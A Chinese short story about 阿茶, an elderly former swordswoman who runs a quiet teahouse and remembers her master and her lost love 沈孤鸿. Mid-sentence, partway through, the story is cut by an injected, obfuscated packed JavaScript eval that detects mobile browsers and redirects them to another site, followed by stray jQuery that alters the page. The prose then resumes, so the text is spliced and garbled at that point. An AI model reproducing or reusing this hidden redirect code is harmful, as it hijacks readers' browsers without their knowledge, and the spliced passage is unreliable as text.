卯时三刻，天还黑着。
阿茶准时醒来。
三十年了，不需要更夫报时，也不需要鸡鸣催促，她的身体里仿佛生出了一只无形的漏刻，每到了这个时辰，就会自动将她唤醒。
她摸黑起身，披上那件洗得发白的粗布夹袄，顺手拢了拢花白的发髻。
阿茶没有点灯，整个屋子黑黢黢的。多年独居生活，使得她对这间屋子里的每一寸都了然于心——从卧房出来，便是前厅。这里被阿茶租下来之后，改造成了茶肆。
她慢悠悠地摸索着，沿着桌边往前走，没几步就到了正门。摸到门闩后，阿茶使劲往右一拉，那扇吱呀作响的木门便被推开了。
亮光照进来，冷风吹进来。
腊月清晨的街上，飘着一丝独特的幽香。
阿茶深吸一口气，走到门外。
“不语茶肆”的招牌在晨风中微微晃动。这块匾额在这里挂了三十多年，漆色早已斑驳。当初之所以取这个名字，是因为阿茶素来喜静，所以挂出了这块招牌，希望愿意走进这里的客人都话少些。
隔壁包子铺的伙计正在卸门板，看见她，远远地招呼了一声：“阿婆早！”
阿茶向他浅浅地招了招手。
而后，她拿起靠在门边的扫帚，开始清扫茶肆外面的空地。
这是一块青石板铺成的小区域，统共也就两丈见方。一眼望去，空空荡荡，连一片落叶都没有。可是，每天清晨，阿茶都坚持把这里扫得干干净净。
外人只当这位阿婆勤快，殊不知，这是她常年早起练功的作用。每天一旦到了那个点，若是不出来活动一下，着实难受得紧。
扫帚划过青石板，发出沙沙的声响。这声音，让阿茶感到安心。有时候，她甚至觉得，自己这些年，就像是门口这些沙粒和微尘——平淡、粗粝，毫不起眼。
天边渐渐泛起了鱼肚白。
阿茶扫完地，回到茶肆里头，开始擦桌子。小小的房间中，一共摆了八张桌子，大方桌四张，靠窗小桌两张，一侧角落里还放了两张小几。每一天早上，每一张桌子，她都会用湿布擦一遍，再用干布擦一遍，直到桌面能照出人影来。
然后开始烘炉子、烧水、备茶。
茶叶是在京城西边那家老字号买的，中等货色。这也是阿茶慢慢摸索出来的门道。在附近居住的，大都是一些普通人家。太金贵的茶叶总是没人喝，这种反倒最受大家欢迎。
水烧开的时候，天已经大亮了。
阿茶先给自己泡了茶，然后坐在柜台后面，小口啜饮，悠然地等着客人上门。
茶肆临街，透过半开的木窗，能看见外头的景象。卖菜的挑着担子匆匆走过，赶着上早朝的官员坐着华美的轿子一晃而过，几个孩童追逐着跑过街角，笑声脆生生的。
阿茶看着这些热闹光景，愈发庆幸自己当时的选择。栖居于这里，烟火气十足，加之远离繁华地带，又不至于太过喧嚣。所谓大隐隐于市，其乐趣便在于此吧。
辰时，老周来了。
一进门便说：“阿婆，老样子！”
老周六十来岁，早年间是个账房先生，就住在茶肆后头的胡同里。他每天辰时准时来，一壶龙井，一碟花生米，坐到午时再走。三十年如一日，比阿茶自己还准时。
阿茶应了一声，端上茶和花生。
老周呷了一口茶，满足地叹了口气，然后开始絮叨起来：“阿婆，你听说了吗？东街王家的儿子昨儿个娶媳妇了，那排场，哎哟，八抬大轿，吹吹打打，热闹得不得了！新娘子长得那叫一个俊，白白净净的，一双眼睛水灵灵的……”
阿茶低头擦着杯子，偶尔“嗯”一声。
“西街那个卖豆腐的老李头，你知道吧？他闺女跟人跑了！哎呀，气得老李头差点背过气去，听说那闺女才十六岁，竟然看上了一个三十多岁的货郎，那货郎长得也不咋地，你说这姑娘图啥？”
老周自顾自地说着，对东家长西家短各个品头论足一番，也不管阿茶应不应。
他早就习惯了，阿婆话少，这些年都这样。有时候老周甚至觉得，阿婆压根没在听他说话。不过也没关系，能有个说话的人，总是好的。
但今天，许是太过无聊，又或者新鲜话题实在不多，老周竟对眼前这个话少的妇人产生了好奇。
他盯着阿茶看了半天，试探地问：“阿婆，这么多年，你就一个人，不闷吗？”
阿茶的手微微一顿。她抬起头，看向老周。老周的脸上带着几分认真，几分关切，还有几分八卦的意味。
阿茶沉默了一会儿，笑了笑，然后继续擦杯子。
不闷吗？三十年了，头一回有人这么问她。
阿茶想起年轻时每日在山巅练剑，师父说“剑客要耐得住寂寞”。那时，她一练就是十个时辰，从晨露未干一直练到月挂松梢。她确实耐得住。因为她心里始终憋着一口气，想着有朝一日，能和心爱之人并肩立于武林之巅，看日升日落、云卷云舒。
后来呢？后来她独自看了三十年，日头、白云、月亮，她从茶肆的门缝里，从蒸腾的茶雾里，看斗转星移、四季变换。可她心里的那个人，始终没有再出现。
举目望去，身边只有这些茶桌、茶具和每天准时到来的老周。
阿茶轻轻地把抹布叠好，说：“不闷。”
她的声音很轻，轻得像一片落叶。
老周叹了口气，没有再问。
午时，老周走了。
阿茶收拾了他用过的茶具，重新擦了桌子，然后坐在柜台后面，继续喝茶、发呆。
午后阳光从窗户斜斜地照进来，在地面上铺出一片金黄。光影里有细小的尘埃在浮动，像在跳舞似的。
阿茶看着那些尘埃，又想到了师父。
“阿茶，你看这尘埃，飘飘荡荡，无处可依。咱们练剑的人，心要像尘埃一样轻，才能飘到别人到不了的地方；可身要像山一样稳，才能站得住脚跟。人活一世，必得有来此一遭的意义。”
那时候她不懂，现在好像懂了，可她也对这句话产生了怀疑。
人一定要建功立业、功成名就才算幸福吗？山顶的风，难道真的就比山脚下的更动人？若是一开始就不要想着远行，只是珍惜眼前，一切是不是都会不一样？
傍晚时分，卖花姑娘从门口经过。
“婆婆！”
清脆的声音打断了阿茶的思绪。她抬起头，看见一张红扑扑的脸。是小芸，那个每天挑着花篮从门口经过的姑娘。十六七岁，脸上还带着婴儿肥，一双眼睛亮晶晶的，像山里的泉水。
小芸怀里抱着一篮花：梅花、山茶，还有一些小野花。她站在门口，探
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344618|199471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着脑袋往里看，笑嘻嘻地说：“婆婆，讨碗水喝！”
阿茶含笑点点头，起身去倒水。
小芸蹦蹦跳跳地进来，也不客气，随便把花篮往桌上一放，便接过水碗，咕咚咕咚地喝了个底朝天。喝完，她用袖子抹了抹嘴，叽叽喳喳地说：“婆婆，今儿个生意咋样？有没有人欺负您？有人欺负您您就跟我说，我让我哥来揍他！我哥可厉害了，一拳能打死一头牛！”
阿茶笑着摇了摇头，然后说：“谢谢你的挂记。”
小芸也笑了，拿了花递给阿茶，“婆婆，您看这花，好看不？这梅花是我哥哥一早去城外山上摘的，可香了！这山茶是我娘种的，今年开了好多，我挑了几朵最好的带给您！”
阿茶看了看那篮花，确实好看。
“多少钱？”阿茶问。
小芸摆摆手：“不要钱不要钱！送给婆婆的！婆婆平时老给我水喝，我还没谢过您呢！”
说罢，不等阿茶开口，小芸已经抱起花篮，蹦蹦跳跳地跑了出去。
跑到门口，她又回头喊了一声：“婆婆，明天我还来看您！”
阿茶低头看着那几朵山茶花，心里十分欢喜。
小时候，山上的山茶花开得漫山遍野。每一次，她练完剑，总会摘几朵插在鬓边。师父看见了，总是摇头说：“剑客戴花不合适。”
可沈孤鸿会说：“好看。”
沈孤鸿，这三个字如同一根冰凌，直直地插在了阿茶的心尖上。她瞬间回过神来，指尖微微发颤。
沈孤鸿，沈孤鸿……曾经，她在心里把这个名字默念过无数遍，念到麻木，念到她以为自己已经忘了。
可没想到，只是几朵花，她就又想到了他。
一天黄昏，阿茶刚练完一套新创的剑法，浑身是汗，发丝凌乱地贴在脸上。她低着头快速往前走，想要快点回房沐浴。没想到，却碰到了同样刚练完剑的沈孤鸿。
“今天怎么没戴花？”
阿茶羞赧一笑，“没来得及。”
没想到，沈孤鸿竟然从身后拿出了一朵山茶，插在她的鬓边，然后说：“好看。”
那时，他靠她很近，近到她可以闻到他身上的味道。
一股兰花的幽香。这味道，她至今难忘。
阿茶找了一个花瓶，把这几枝花插起来，整间茶肆都增色了不少。
戌时，阿茶准时关门，开始盘账。
今日的收入不多不少，整整三十七个铜板。除去成本，能赚十几个。“足以维持一个人的生活”，阿茶心里想。
晚餐照旧是一碗素面。水滚后清汤下锅，简单放几片青菜叶子，滴上几滴香油，就是一餐。
饭虽简单，阿茶却吃得仔细，一口一口，细嚼慢咽，连面汤都喝得干干净净。昔年全盛之时，山珍海味吃了个遍；如今布衣粗茶，倒也乐得自在。
饭罢，阿茶总是习惯到窗前小坐一会儿。
木格子糊的纸很轻薄，刚好可以透进来朦朦胧胧的月光。今晚月亮很圆，竟是十五了。
月光一寸一寸地移过窗台，移过地面，移过那一瓶娇俏的花。
窗外传来更夫的声音：“天干物燥，小心火烛——”
那声音由近及远，渐渐消失在深夜的街巷里。
阿茶依然坐着。
阿花今天没有来。